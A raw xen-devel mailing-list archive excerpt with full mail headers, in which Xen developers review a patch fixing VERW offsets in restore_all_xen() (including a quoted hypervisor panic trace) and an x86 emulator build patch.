 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a577e45-195a-0a2a45060019-d155dd29bc3f-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 14:34:13 +0200
Received: by mail-wr1-f41.google.com with SMTP id
 ffacd0b85a97d-47f365afc5aso2058745f8f.0
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 05:34:13 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49508727fc0sm145462305e9.6.2026.07.15.05.34.12
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 15 Jul 2026 05:34:12 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784118853; x=1784723653; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=bIeSQk/JWPud3zVc91jzTULFKQiSnBPa+ulQZnnljBM=;
        b=c0QVnuzspcTbQuCLCTTre/8Oikd9A7C3sqts6C1DozUJNKyLkI4JhcNS/VHq2JbdIq
         pFaaWHOB07QkxuaVCiOIK4d0cceB5j3gX/rltMxHl5vb+zVe+2lC2eSqjW3YpWrkoIKn
         9pgzSdhLUFY3AB98HtUd9MX648qF+z0q55Q1uWc1lClLu/uKYyPygA0t4a/27kz5s9yw
         prvFSrBebov++zwSfnF9sF6pu1op37IOZDCjbLjHcW75fEMvbeVPx8MUxqYrBz94BXQH
         SNRarE8CklO5rmZcisIo+KfswR84LbZ6tTGBee13pJS2BcccgU1bHUygLKlN8u5vTuhm
         19Ew==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784118853; x=1784723653;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=bIeSQk/JWPud3zVc91jzTULFKQiSnBPa+ulQZnnljBM=;
        b=JPzBuTZ211BcL+jYf7rePdtf3addDJhxUnpkup7ou8n7qpfLeLAsmnfMec1istWA2c
         cuYasjmMXQGMjLp+4/CB7+6Vuk26VR/N7GXedHh6orMOQDausYrr9NyPW0rCp3z5Q5xo
         zRdKd+MAAQsAD9ZMHCk+6S5IuwoqxP3Rfvnv6sRDq9BHEftXKLNA+MS62Gdg3HJKyp6o
         rcf+3SjYn9E0QrXpEVT+yAEscVjANyVS7dWHl2BWHK0lx06hIePwO+kW6lnT1V8skjTL
         ylnQ8J7YapxXwA1dBeefjzpOJ5et4kzOW6dJIjwHRZ0C4oWltc7qnAQCa5iQYG1FBKw0
         0UHw==
X-Forwarded-Encrypted: i=1; AHgh+Rq70b7n9ek8uHAClNI+iBTrHMjyEQnDlOkrK2WZE4rOnvf5NlBSRvkjGVa5rka2fyqWkImxOwwHv0Y=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyX8S0tXr0ZgIRuNEKDSBLDoPNIrdhPqme7ohDdl4WQtWpxSHOb
	PyZT+WiwCzf4EEBqkDtQ9mZ9GiY7iK9lM0q5w6ks9eAVCULWcZU/HLb3EaiFCN4P+A==
X-Gm-Gg: AfdE7cnD+2fomO7HJrKJI/FEopGaxRSIx0H9WdNmMGTvmsyzMYfxgELXWhJtrQUSZxd
	JLRyP8HIOnaaD9wLn9bSXcjUoT0W08msUJFehja5fnQRHG/RFZIScEIySjoqS2uANk3q3uqBL9p
	vAZFz6tlOx+UGuhjaMu6hC1/YnXQBecsOcNfZyihboF3tkbIanXTthRB3VmQYfXO9SBcCa/HuUp
	oFw1t9CAZ7spSVUgb7DaMMgJGgZVLLGOxTn07XbZaRbhHqAZmFvIoCTHgDlrry/FM2XTFaCyEOj
	rTduJw6NENVbEs8YnrfhHkiyAE76RNWhAcoNVntx65EPMITCye13W+X/oNCBtPKJDwv/eRHIKng
	8GkQgaRm3RwR+n852s71GMTdLwsGMCDpWn5EgAf6dKQe7xS55dxWdvmuuGOHfxNd1TtX6a3IR4S
	A7zzDMxvLW4Wg4W2Xldum06izYU0YnOmkjjbiM8QwviXOBcnIH2ocCKAz5NgENx7q46IdpzU39/
	fJW
X-Received: by 2002:a05:600c:e547:10b0:493:f7d9:8183 with SMTP id 5b1f17b1804b1-495389e40admr49203805e9.39.1784118853028;
        Wed, 15 Jul 2026 05:34:13 -0700 (PDT)
Message-ID: <f708711a-6499-41a5-b59d-17099cabf512@suse.com>
Date: Wed, 15 Jul 2026 14:34:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86/entry: Fix VERW offsets in restore_all_xen()
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Ross Lagerwall <ross.lagerwall@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260715104854.1813130-1-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBF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/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260715104854.1813130-1-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1784118853-F520877B-9608EFFE/0/0
X-purgate-type: clean
X-purgate-size: 2262

On 15.07.2026 12:48, Andrew Cooper wrote:
> As explained in the comment partially in context, and contrary to what was
> said in commit 8af337dfb8e2 ("x86/entry: Use POP_GPRS and remove
> RESTORE_ALL"), the restore_all_xen() path cannot use default offsets for
> SPEC_CTRL_COND_VERW.
> 
> Getting this wrong is surprisingly benign.  VERW doesn't fault for any limit
> or descriptor reasons.
> 
> However, in SVM vCPU context LDTR is the guest's not Xen's.  When the segment
> selector VERW uses happens to be an LDT selector, the CPU accesses the guest
> LDTR in Xen context:
> 
>   (XEN) ----[ Xen-4.23.0  x86_64  debug=y  Not tainted ]----
>   (XEN) CPU:    14
>   (XEN) RIP:    e008:[<ffff82d0402007f2>] x86_64/entry.S#restore_all_xen+0x72/0x80
>   (XEN) RFLAGS: 0000000000010002   CONTEXT: hypervisor (d3v1)
>   ...
>   (XEN) Xen code around <ffff82d0402007f2> (x86_64/entry.S#restore_all_xen+0x72/0x80):
>   (XEN)  5f f6 44 24 7c 08 74 05 <0f> 00 6c 24 44 48 83 c4 08 48 cf 0f 1f 00 fc 0f
>   ...
>   (XEN) Xen call trace:
>   (XEN)    [<ffff82d0402007f2>] R x86_64/entry.S#restore_all_xen+0x72/0x80
>   (XEN)    [<ffff82d0402e79f6>] F nestedhap_fix_p2m+0x5f/0xc9
>   (XEN)    [<ffff82d0402e7c8f>] F nestedhvm_hap_nested_page_fault+0x11e/0x22e
>   (XEN)    [<ffff82d0402cd59d>] F hvm_hap_nested_page_fault+0x1b8/0x5d2
>   (XEN)    [<ffff82d0402ad7de>] F svm_vmexit_handler+0xbe9/0x18b3
>   (XEN)    [<ffff82d040202542>] F svm_asm_do_resume+0x162/0x172
>   (XEN)
>   (XEN) Pagetable walk from 000000000000fff8:
>   (XEN)  L4[0x000] = 0000000000000000 ffffffffffffffff
>   (XEN)
>   (XEN) ****************************************
>   (XEN) Panic on CPU 14:
>   (XEN) FATAL PAGE FAULT
>   (XEN) [error_code=0000]
>   (XEN) Faulting linear address: 000000000000fff8
>   (XEN) ****************************************
> 
> In this case, the guest's LDT obviously has a base of 0 and limit of 0xffff
> for the segmentation checks to pass and a memory access to be attempted.
> 
> Fixes: 8af337dfb8e2 ("x86/entry: Use POP_GPRS and remove RESTORE_ALL")
> Reported-by: Ross Lagerwall <ross.lagerwall@citrix.com>
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

Reviewed-by: Jan Beulich <jbeulich@suse.com>



From xen-devel-bounces@lists.xenproject.org Wed Jul 15 12:42:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 12:42:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363049.1614889 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjywM-0006cC-JN; Wed, 15 Jul 2026 12:42:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363049.1614889; Wed, 15 Jul 2026 12:42:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjywM-0006c5-Fs; Wed, 15 Jul 2026 12:42:18 +0000
Received: by outflank-mailman (input) for mailman id 1363049;
 Wed, 15 Jul 2026 12:42:17 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f65cc9781000edb5@swg.vates.tech>)
 id 1wjywK-0006bz-SF
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 12:42:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjywK-00B1LK-8s
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 14:42:16 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f65cc9781000edb5@swg.vates.tech>)
 id 6a57801d-2eae-0a2a0a5409dd-0a2a4507deba-44
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 14:42:16 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f65cc9781000edb5@swg.vates.tech>)
 id 6a578027-b4ea-0a2a45070019-b9ff1c1285f9-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 14:42:16 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f65cc9781000edb5.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 15 Jul 2026 12:42:14 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 2284382179;
 Wed, 15 Jul 2026 14:42:14 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=SptMH0IFGHx0gCqMFoLHFaWsbcSDqkPOQIAa7+bak94=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=EQFTWHK4QwqOmopEfUV0an94cWiqgKN26djNbLOWuuR/gbcrXSMV3WKYk8IhBfFDItluSMrM3
 1TcXyDVt06kVdb0pjxK5qb5J8JuDa24QYPmQSQ8FDnqdEyCYMRAOxJVsHbqGCHCvbYYJseYWSjL
 DasVn+ktasyDQJQv/miPNybfYUFk59bUv7h560pFvJw0fnE0VPAsnHn7PEj+keUwLLc7XT0jVHi
 qXdAQyudmNNCDxfC27M+hNR9pUkOKDjIwsb29pZ7tXTjghTsFiAcCN+YvmeRe6zkdaplZuaJCj2
 Koj1nBAqKbYq8osvc5pP6T4ngzFlOE37UsfBTNRCzweg==
X-Zone-Loop: 8dad1f93431aec0c2e729e8aae368ab226dc18802601
x-campaign-type: default
x-transaction-id: 1e403304-916f-4959-b371-e8711676a9cf
x-swg-uid: 01-ad3803bb-03df-4d95-8b02-724a49ba276c
X-Mailer: Sweego
Message-ID:
 <1784119334.8631fc262581453bbf619ec5b2062170.19f65cc9781000edb5@vates.tech>
x-swg-bid: 1784119334.8631fc262581453bbf619ec5b2062170.19f65cc9781000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 15 Jul 2026 14:42:13 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1.1 1/2] x86emul: drop wrapper C file
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
References: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
 <e482f2b5-382c-4fbb-b030-5cdaba362599@suse.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3C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7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <e482f2b5-382c-4fbb-b030-5cdaba362599@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------w6W60M9FgH4Yf4pgbHY0MrB6"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784119334259
X-purgate-ID: tlsNG-ef75cf/1784119336-A4CCFAE4-BFCDC77A/0/0
X-purgate-type: clean
X-purgate-size: 13854

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------w6W60M9FgH4Yf4pgbHY0MrB6
Content-Type: multipart/mixed; boundary="------------dDBTcUZmDaI0sYD5TwCAjkAg";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
Message-ID: <86319190-b600-4007-86d1-5f659d9f265c@vates.tech>
Subject: Re: [PATCH v1.1 1/2] x86emul: drop wrapper C file
References: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
 <e482f2b5-382c-4fbb-b030-5cdaba362599@suse.com>
In-Reply-To: <e482f2b5-382c-4fbb-b030-5cdaba362599@suse.com>

--------------dDBTcUZmDaI0sYD5TwCAjkAg
Content-Type: multipart/mixed; boundary="------------Ed0Q4h7hI2y9yDdvTPy5XXSi"

--------------Ed0Q4h7hI2y9yDdvTPy5XXSi
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMTQvMDcvMjAyNiDDoCAxNjowMCwgSmFuIEJldWxpY2ggYSDDqWNyaXTCoDoNCj4gTW92
ZSB0aGUgbGl0dGxlIGJpdCB0aGF0J3M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RCAqLw0KPiArDQo+ICAgc3RhdGljIGNvbnN0IHVpbnQ4X3Qgc3NlX3ByZWZpeFtdID0geyAw
eDY2LCAweGYzLCAweGYyIH07DQo+ICAgDQo+ICAgI2lmZGVmIF9feDg2XzY0X18NCj4gDQoN
ClJldmlld2VkLWJ5OiBUZWRkeSBBc3RpZSA8dGVkZHkuYXN0aWVAdmF0ZXMudGVjaD4NCg==

--------------Ed0Q4h7hI2y9yDdvTPy5XXSi
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwkIBwUVCAkKCwUWAgM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QABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWj
moACGwwACgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiV
oUiHYN5QwhnbZnsaJDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------Ed0Q4h7hI2y9yDdvTPy5XXSi--

--------------dDBTcUZmDaI0sYD5TwCAjkAg--

--------------w6W60M9FgH4Yf4pgbHY0MrB6
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpXgCUFAwAAAAAACgkQZg+p0QLLz9CW
nwv6AqMVX0rpdRRlc6JJGvOD3aOLUph+ikxRpJhHodQvRC8Bs39vael2xeFT5WE0lAZwf1MnEZuE
J0sHh7pz0sHZ+jJSQArPEUowUAYhucExYcKwcUkAwCRAOtJR/mBL6Q3CDPPIKnLKO3Qgedwus/Hq
h3AnXu/mP6XUCzbel5xg1O+m2Iunuw4QlcGLtk4JDZuKkwd1UKzWG+xmu5VhJ6/bUAIdcXh/lnjh
GyMY5NY91gSd7JtuBlaHnjavLGBJ1zLkgGTJDZ0ppFmSLUxa6km2QQK3p3IjC5Vq55Gu9NrsQ/43
QzlI+Vp4R2xhI42ZfhzUd9r+Rzo4EyUNc93yRpwWJPmUY3d/j/wckGHC5gYHvzewbgtEvbj4EElv
ehtzgVJ7JfkNWeju2hqY+QtrorcGjv24DyFcslhWvhKbXK7cC5yNW0cLYbEHPGcr9QtjTWwahPTS
K8Gm+ybBFXR1XNYsxUFBrQGhnEnqvZ+WaepuS4ZAYZQcguYPhJi/ci5WXpOJ
=MNfZ
-----END PGP SIGNATURE-----

--------------w6W60M9FgH4Yf4pgbHY0MrB6--


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 12:43:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 12:43:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363059.1614897 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjyxQ-00079C-Vr; Wed, 15 Jul 2026 12:43:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363059.1614897; Wed, 15 Jul 2026 12:43:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjyxQ-000795-Sm; Wed, 15 Jul 2026 12:43:24 +0000
Received: by outflank-mailman (input) for mailman id 1363059;
 Wed, 15 Jul 2026 12:43:23 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f65cd991f000edb5@swg.vates.tech>)
 id 1wjyxP-00078x-Am
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 12:43:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjyxO-00Duhb-Nq
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 14:43:22 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f65cd991f000edb5@swg.vates.tech>)
 id 6a578069-2eae-0a2a0a5409dd-0a2a4501b170-2
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 14:43:22 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f65cd991f000edb5@swg.vates.tech>)
 id 6a57806a-5984-0a2a45010019-b9ff1c228c63-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 14:43:22 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f65cd991f000edb5.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 15 Jul 2026 12:43:20 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 267BC8118B;
 Wed, 15 Jul 2026 14:43:20 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=5dxMK+YgW3HQIvPcNXSmva41mMtAplVJu5Ecxr1/7R4=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=adKe2hVAUxoHoy531S9i+0TxOcMs+72JNqK/KJVlkb6vdOh7D60uO+S6XVZXWnhNLgF7V/5/e
 w61p3af+XvDfLTQjs9ebhuluYqG/9ifvoEopHtVILFJ2y9s7wGVdNIavIRF85xHJZb+/8vtmixw
 21zlIegsHXNqtFtabUMjZ+uImHRLot5W/Rl3TFhXuKp24K0huExpb1Ojp3FQgXbzfm3hZTF7k5o
 hGjpqXLmAEbbxT0VPHqQwF8VhBEXmtNaV/CsQiIzrj4QXwIKYMeHkeeD7MNeV+JliI5BRA1JoHA
 bEqEXR4mCsMS6Sgh8KpZw/CM5HJpHs/Cit3l1izZRI/g==
X-Zone-Loop: 7d4ed7e8283e1b0ddc854181765c5bbe0dd7b8880916
x-campaign-type: default
x-transaction-id: 7729a3bd-d137-4e45-8855-9a7901cb9a77
x-swg-uid: 01-e2314736-f6d5-4912-a360-4cded665a236
X-Mailer: Sweego
Message-ID:
 <1784119400.8631fc262581453bbf619ec5b2062170.19f65cd991f000edb5@vates.tech>
x-swg-bid: 1784119400.8631fc262581453bbf619ec5b2062170.19f65cd991f000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 15 Jul 2026 14:43:19 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/2] x86: put x86_emulate/ early in $(obj-y)
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
References: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
 <898091b0-0c73-4829-a3b4-c8da6026a40c@suse.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
